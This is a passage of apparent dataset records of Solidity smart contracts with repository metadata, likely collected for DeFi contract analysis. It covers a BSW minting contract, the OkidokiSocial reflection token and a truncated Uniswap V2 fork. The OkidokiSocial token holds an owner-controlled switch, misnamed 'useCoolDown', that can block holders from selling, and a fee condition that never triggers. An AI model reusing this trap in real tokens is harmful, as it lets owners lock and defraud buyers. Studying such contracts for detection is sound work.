13,703
//SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; interface IBEP20 { function totalSupply() external view returns (uint256); function preMineSupply() external view returns (uint256); function maxSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface BSWToken { function mint(address _to, uint256 _amount) external returns(bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeBEP20 { using SafeMath for uint256; using Address for address; function safeTransfer(IBEP20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IBEP20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeBEP20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeBEP20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IBEP20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed"); } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BSWMinting is Ownable { using SafeMath for uint256; using SafeBEP20 for IBEP20; // The BSW TOKEN! BSWToken public BSW; //Minting per block for Swap fee reward uint256 public swapFeeRewardMintingPerBlock; //Minting per block for Staking NFT uint256 public nftStakingMintingPerBlock; // Last block of withdraw uint256 public lastBlockWithdraw; //Max minting by contract uint256 public maxMint; //Total mint by contract uint256 public totalMint; // Address for minting swap fee reward address public swapFeeRewardAddr; // Address for minting NFT staking address public nftStakingAddr; event updatedLastBlock(uint256 _blockNumber); event updatedMintingPerBlock(uint256 swapFeeRewardMintingPerBlock, uint256 nftStakingMintingPerBlock); event updatedAddresses(address swapFeeRewardAddr, address nftStakingAddr); constructor(BSWToken _BSW, address _swapFeeRewardAddr, address _nftStakingAddr, uint256 _swapFeeRewardMintingPerBlock, uint256 _nftStakingMintingPerBlock, uint256 _maxMint) public { BSW = _BSW; swapFeeRewardAddr = _swapFeeRewardAddr; nftStakingAddr = _nftStakingAddr; swapFeeRewardMintingPerBlock = _swapFeeRewardMintingPerBlock; nftStakingMintingPerBlock = _nftStakingMintingPerBlock; lastBlockWithdraw = block.number; maxMint = _maxMint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to.sub(_from); } function withdraw() public { require(lastBlockWithdraw < block.number, "wait for new block"); uint256 multiplier = getMultiplier(lastBlockWithdraw, block.number); uint256 swapFeeRewardMint = swapFeeRewardMintingPerBlock.mul(multiplier); uint256 nftStakingMint = nftStakingMintingPerBlock.mul(multiplier); totalMint = totalMint.add(swapFeeRewardMint).add(nftStakingMint); require(totalMint <= maxMint, "Minted all coins"); BSW.mint(swapFeeRewardAddr, swapFeeRewardMint); BSW.mint(nftStakingAddr, nftStakingMint); lastBlockWithdraw = block.number; } function setNewAddresses(address _swapFeeRewardAddr, address _nftStakingAddr) public onlyOwner { require(_swapFeeRewardAddr != address(0), "swapFeeReward addr cant be zero"); require(_nftStakingAddr != address(0), "dev addr cant be zero"); swapFeeRewardAddr = _swapFeeRewardAddr; nftStakingAddr = _nftStakingAddr; emit updatedAddresses(_swapFeeRewardAddr, _nftStakingAddr); } function changeBSWPerBlock(uint256 _swapFeeRewardMintingPerBlock, uint256 _nftStakingMintingPerBlock) public onlyOwner { withdraw(); swapFeeRewardMintingPerBlock = _swapFeeRewardMintingPerBlock; nftStakingMintingPerBlock = _nftStakingMintingPerBlock; emit updatedMintingPerBlock(_swapFeeRewardMintingPerBlock, _nftStakingMintingPerBlock); } function updateLastWithdrawBlock(uint256 _blockNumber) public onlyOwner { require(_blockNumber > lastBlockWithdraw, "new block number must be greater then last block"); lastBlockWithdraw = _blockNumber; emit updatedLastBlock(_blockNumber); } }
246,188
12,194
d9aff9fd067caf007dcd1d4ed093b06d3bc3645fb82c50a9d677e651e68df131
27,637
.sol
Solidity
false
606585904
plotchy/defi-detective
f48830b1085dac002283a2ce5e565e341aab5d0c
00byaddress/00ff0797885cb1a3e83ff0a729c4b51870baecb9.sol
4,868
17,850
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } contract OkidokiSocial is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping(address => uint256) private cooldown; mapping (address => bool) private _isExcluded; address[] private _excluded; address private uniswapV2Pair; IUniswapV2Router01 private uniswapRouter01 = IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100* 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool enableTrading = true; string private _name = 'Okidoki Social '; string private _symbol = 'Okidoki Social '; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function useCoolDown(bool enable) public onlyOwner { enableTrading = enable; } function updateUniPair() public onlyOwner { address getPairAddress = IUniswapV2Factory(uniswapRouter01.factory()).getPair(address(this), uniswapRouter01.WETH()); require(getPairAddress != address(0)); uniswapV2Pair = getPairAddress; } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { if (sender != owner() && recipient != owner()) { if(sender != uniswapV2Pair) { require(enableTrading); require(cooldown[recipient] < block.timestamp); cooldown[recipient] = block.timestamp + (35 seconds); } if(sender == uniswapV2Pair) cooldown[sender] = block.timestamp + (35 seconds); } (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee; if(_tTotal >= 30000000 * (10**6) * (10**18)) { tFee = tAmount.div(100).mul(2); } else { tFee = 0; } uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } uint256 public rSupply; uint256 public tSupply; function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
344,462
12,195
0ecd46a2c76e61463559e14be06c6cc59bbd4319c09167eb08c3ab1e5a0ae3a3
19,586
.sol
Solidity
false
454395313
solidproof/projects
e4944c9bb61ee5a4776813b37db72129ff648eb2
SpeedFi/Contracts/UniswapV2Factory.sol
5,379
19,002
// SPDX-License-Identifier: MIT // File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol pragma solidity 0.6.12; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File: contracts/uniswapv2/libraries/SafeMath.sol library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/uniswapv2/UniswapV2ERC20.sol contract UniswapV2ERC20 { using SafeMathUniswap for uint; string public constant name = 'Speed LP Token'; string public constant symbol = 'SLP'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this))); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)))); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/uniswapv2/libraries/Math.sol // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/uniswapv2/libraries/UQ112x112.sol // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/uniswapv2/interfaces/IERC20.sol interface IERC20Uniswap { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/uniswapv2/interfaces/IUniswapV2Callee.sol interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/uniswapv2/UniswapV2Pair.sol interface IMigrator { // Return the desired amount of liquidity token that the migrator wants. function desiredLiquidity() external view returns (uint256); } contract UniswapV2Pair is UniswapV2ERC20 { using SafeMathUniswap for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = 